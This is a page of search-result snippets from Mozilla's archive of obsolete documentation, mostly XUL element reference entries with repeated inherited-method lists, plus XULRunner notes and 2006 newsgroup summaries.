...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
browser - Archive of obsolete content
subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
colorpicker - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... value property gets and sets color attribute methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
column - Archive of obsolete content
it is common to use columns only to define width and flexibility for the grid column and not place elements directly inside the column.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
description - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
image - Archive of obsolete content
ArchiveMozillaXULimage
« xul reference home [ examples | attributes | properties | methods | related ] summary an element that displays an image, much like the html img element.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
keyset - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
label - Archive of obsolete content
ArchiveMozillaXULlabel
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
listcell - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listhead - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
listheader - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
menupopup - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
... issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup immediately.
panel - Archive of obsolete content
ArchiveMozillaXULpanel
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
... issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup immediately.
preference - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
prefpane - Archive of obsolete content
(1) an example of a widget that has state changes tracked for it includes the checkbox element, whose state is tracked automatically when the "command" event fires.
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute()...
radiogroup - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
resizer - Archive of obsolete content
the resizer will send a command event after the resize is complete.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
richlistbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
richlistitem - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
scale - Archive of obsolete content
ArchiveMozillaXULscale
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
scrollbox - Archive of obsolete content
note that this example doesn't use a scrollbox tag; you only need that tag if you want to programmatically scroll in addition to the automatic scroll bars.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
tabbrowser - Archive of obsolete content
onbookmarkgroup not in firefox type: script code this code executes when the user chooses the "bookmark this group of tabs" command.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
tabs - Archive of obsolete content
ArchiveMozillaXULtabs
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
toolbarpalette - Archive of obsolete content
examples <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="toolbarpalette-button" class="toolbarbutton-class" label="&mylabel;" tooltiptext="&mytiptext;" oncommand="somefunction()"/> </toolbarpalette> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal,...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
toolbox - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
...you can supply a comma-separated list of toolbar item ids as the second argument to add some items by default.
tooltip - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode,...
... issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup immediately.
where - Archive of obsolete content
ArchiveMozillaXULwhere
multiple type: boolean set to true to indicate that the value contains multiple values separated by commas.
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
XUL - Archive of obsolete content
xul controls lists some of the common controls provided by xul.
... community view mozilla forums...
Application Update - Archive of obsolete content
getting started you will need the following utility scripts from http://lxr.mozilla.org/mozilla/sourc...ate-packaging/ (or local source of xulrunner) common.sh make_full_update.sh you will need mar / mar.exe to build a complete update patch.
...https is recommended but not required (yet).
Deploying XULRunner - Archive of obsolete content
this means that while the release is immature in some areas such as embedding, application deployment, and os integration, it can be used by developers that are releasing standalone xul applications.
...registration and app installation are performed with command line switches as outlined in the xulrunner section of article command line options.
XULRunner - Archive of obsolete content
community view mozilla forums...
... mailing list newsgroup rss feed #xulrunner on irc.mozilla.org other community links...
XUL Explorer - Archive of obsolete content
support attribute value checking where appropriate (boolean and enumerated values) - xul checker support “best practice” checks such as: using of commands and keys, strings in dtds and so on - xul checker multi-tabbed editor support support wizards to generate common projects - extensions support extension testing using firefox extension test mode venkman support dom inspector support future: support more “best practice” checks such as: more a11y checks, strings in dtds and so on - xul checker allow users to add snippets on the f...
...ly add sidebars for more functionality - property sidebar and project sidebar support wizards to generate common projects - xul files, js xpcom, and xulrunner applications for more detailed information, see the xul_explorer:planning#feature_planning_for_xul_explorer.
Mozprocess - Archive of obsolete content
basic usage: process = processhandler(['command', '-line', 'arguments'], cwd=none, # working directory for cmd; defaults to none env={}, # environment to use for the process; defaults to os.environ ) exit_code = process.waitforfinish(timeout=60) # seconds see an example in https://github.com/mozilla/mozbase/b...profilepath.py processhandler may be subclassed to ha...
...ndle process timeouts (by overriding the ontimeout() method), process completion (by overriding onfinish()), and to process the command output (by overriding processoutputline()).
xbDesignMode.js - Archive of obsolete content
* * the initial developer of the original code is * netscape communications corporation.
...t = this.miframeelement.contentdocument; this.meditordocument.designmode = "on"; } else { // ie this.meditordocument = this.miframeelement.contentwindow.document; this.meditordocument.designmode = "on"; // ie needs to reget the document element after designmode was set this.meditordocument = this.miframeelement.contentwindow.document; } } xbdesignmode.prototype.execcommand = function (acommandname, aparam){ if (this.meditordocument) this.meditordocument.execcommand(acommandname, false, aparam); else throw "no meditordocument found"; } xbdesignmode.prototype.setcsscreation = function (ausecss){ if (this.meditordocument) this.meditordocument.execcommand("usecss", false, ausecss); else throw "no meditordocument found"; } ...
Format - Archive of obsolete content
this is an example of what a newsgroup summary should look like when completed.
... summary: mozilla.dev.planning - july 17-23, 2006 announcements firefox 2/gecko 1.8.1 bug approvals starting on friday july 21 at 10:00a pdt the release triage team will no longer be accepting bugs unless they meet one of the posted criteria.
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon echo 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon echo 20060921 nightly build will be offered the chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 30 - october 6, 2006 announcements vista compatibility lab mike schroepfer announced the current work being done testing mozilla products with vista.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.accessibility - oct 28-nov 10, 2006 announcements acm transactions on accessible computing "transactions on accessible computing (taccess) is a quarterly journal that publishes refereed articles addressing issues of computing as it impacts the lives of people with disabilities." read more...
...important dates: technical submissions: monday 19th feb 2007 technical paper notification: friday 16th march 2007 communication submissions: monday 26th march 2007 communication paper notification: friday 06th april 2007 all camera ready due: monday 16th april 2007 conference dates: monday 07th and tuesday 08th may 2007 notable keynotes representatives from w3c, ibm, university of manchester, uk and oxford brookes university, uk.
2006-11-22 - Archive of obsolete content
summary: mozilla.dev.accessibility - nov 17-nov 22, 2006 announcements mozilla osk project grant aaron leventhal (on behalf of michael curran) mentiond that there is now an nvda email list you can join if you wish to keep up to date with the latest changes, or if you wish to discuss new features or talk with other nvda users.
...he expressed his gratitude and thanks everyone for being supportive during and after the summit.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - september 22 - september 29, 2006 announcements lightning and sunbird 0.3 rc1 test day!
... authors mark paruzel yi (eric) shen [| back to weekly summaries ] ...
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - september 29 - october 6, 2006 announcements sunbird and lightning 0.3rc1 available gordon announced the candidate (rc) builds for sunbird and lightning 0.3 are released.
... authors mark paruzel yi (eric) shen [back to weekly summaries ] ...
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon echo 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon echo 20060921 nightly build will be offered the chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 30 - october 6, 2006 announcements vista compatibility lab mike schroepfer announced the current work being done testing mozilla products with vista.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 27, 2006 - november 3, 2006 announcements none this week.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-04 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 27, 2006 - november 3, 2006 announcements none this week.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - october 7-13, 2006 announcements updated: thunderbird developer documentation eric shepherd has put together a checklist for the upcoming thunderbird developer documentation and is looking for feedback as well as contributors.
...currently, the only recommendation is to use a server-side solution.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 10 - 17, 2006 announcements none for this week discussions how to fiter out mail for a particular recepient?
... code review requested for smtp swticher no comment is made.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.builds - september 22nd to 29th 2006 .mar packages peter weilbacher posted a question and asked: how does one go about creating a .mar package that can be used in updating firefox and thunderbird?
... summarized by: vanessa miranda & mohammad tirtashi ...
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.builds - september 30th to october 6th 2006 tb mozilla_1_8_branch build problem on mac os x (10.4.7, universal build) ludwig hügelschäfer stated that he has been encountering an error when he executes a "make export" operation on thunderbird (part of the mozilla_1_8_branch) since september 15th.
... summarized by: vanessa miranda & mohammad tirtashi ...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.builds - october 21st to october 27th 2006 fx 1.5.0.x (linux) not building since 20-oct-2006 17:45 pdt october 22nd: gavin sharp answered a question that was posted by tony mechelynck.
... summarized by: vanessa miranda & mohammad tirtashi ...
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.builds - november 10th to november 17th 2006 how to build in yellowdog linux 4.1?
... summarized by: vanessa miranda & mohammad tirtashi ...
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.builds - november 17th to november 24th 2006 trouble building xulrunner 1.8.4 on winxp using mingw32 november 20th: joe is trying to build xulrunner using the ming compiler on windowsxp.
... summarized by: vanessa miranda & mohammad tirtashi ...
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.builds - november 25th to december 1st 2006 any one else seeing this?
... summarized by: vanessa miranda & mohammad tirtashi ...
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.l10n - october 13, 2006 announcements seamonkey 1.0.5 he-il seamonkey 1.0.5 in hebrew was released a while ago firefox 2 rc2 is out firefox 2 rc2 is out, to download click here sunbird_0_3_release tag being created sunbird_0_3_release tag being created seamonkey 1.1 localization freeze and beta upcoming there are no open blockers left.
... l10n freeze on seamonkey 1.1 code is imminent in the next days, as well as beta release.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.l10n - october 20, 2006 announcements sign-off for zh-tw firefox 2 sign-off for zh-tw firefox 2 sign off of chinese simplified firefox 2.0 sign off of simplified chinese firefox 2 attention dictionary providers, or: warning, amo sucks there was at amo (addons.mozilla.org), which has been being fixed.
...community was encouraged to do testing.
2006-11-3 - Archive of obsolete content
summary: mozilla.dev.l10n - november 3, 2006 announcements mozip.net 1.2.0 released: the should have been 1.0 release mozip.net 1.2.0, a gui (graphic) version of piaip's mozip command line utility, is available here.
...community is advised to perform tests on both builds to ensure they work flawlessly.
2006-11-24 - Archive of obsolete content
announcments bon echo status mike beltzner posted a small to-do list with regards to bon echo firefox 1.5.0.9/2.0.0.1 jay patel posted an update of bugs for the firefox 1.5.0.9/2.0.0.1 releases discussion non-ascii rendering performance boris zbarsky made some suggestions on how to improve international font rendering cvs commit access changes a large discussion went on about changes to policies surrounding cvs commit access project drivers and technical oversight mike connor suggested ways to better organize project management, policy making, and technical oversight.
... others gave input on this as well meetings because of the firefox summit last week there is no project status meeting this week november 22 gecko 1.9/gran paradiso status meeting: (agenda) ...
2006-09-29 - Archive of obsolete content
summary of newsgroup moz.dev.platform summary: mozilla.dev.platform - september 22 - 29, 2006 announcements firefox 2 release candidate 1 is now available for download announcing that firefox 2 rc 1 is available for download discussions xulrunner fails without feedback on osx intel 10.4.7 will morton is trying to port a xul application to osx.
... when he runs xulrunner from the command line, it fails silently without any errors.
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.platform - october 14th to october 20th 2006 announcements no announcements this week.
...nickolay ponomarev, benjamin smedberg, axel hecht clarify some misconceptions about front-end and back-end programming with xulrunner, including the difficulty of writing the backends in c++ (since that would require a recompilation on every platform frank wanted to support).
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.platform - november 4th - november 10th, 2006 announcements no announcements this week traffic beaufour moves the discussion about xulrunner unit-tests like xpcshell from mozilla.dev.platform to mozilla.dev.quality.
...several community members comment, backing up benjamin's post.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.platform - november 11th - november 17th, 2006 announcements no announcements this week traffic xulrunner: <browser> not allowing javascript popup windows b notes that when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement.
...boaz invites your comments xulrunner 1.8.0.4 is running a kiosk-type application on linux with 512mb, and there is the appearance of a significant memory leak.
mozilla-dev-platform - Archive of obsolete content
about newsgroup summary for mozilla.dev.platform (google groups link) is for people working on the mozilla application framework ("mozilla-the-platform").
... summaries 2006-09-29 (sept 22 - sept 29) 2006-10-06 (sept 30 - oct 6) 2006-10-13 (oct 7 - oct 13) 2006-10-20 (oct 14 - oct 20) 2006-10-27 (oct 21 - oct 27) 2006-11-03 (oct 28 - nov 3) 2006-11-10 (nov 4 - nov 10) 2006-11-17 (nov 11 - nov 17) 2006-18-24 (nov 18 - nov 24) 2006-12-01 (nov 25 - dec 1) faq faq for mozilla.dev.platform ...
2006-10-06 - Archive of obsolete content
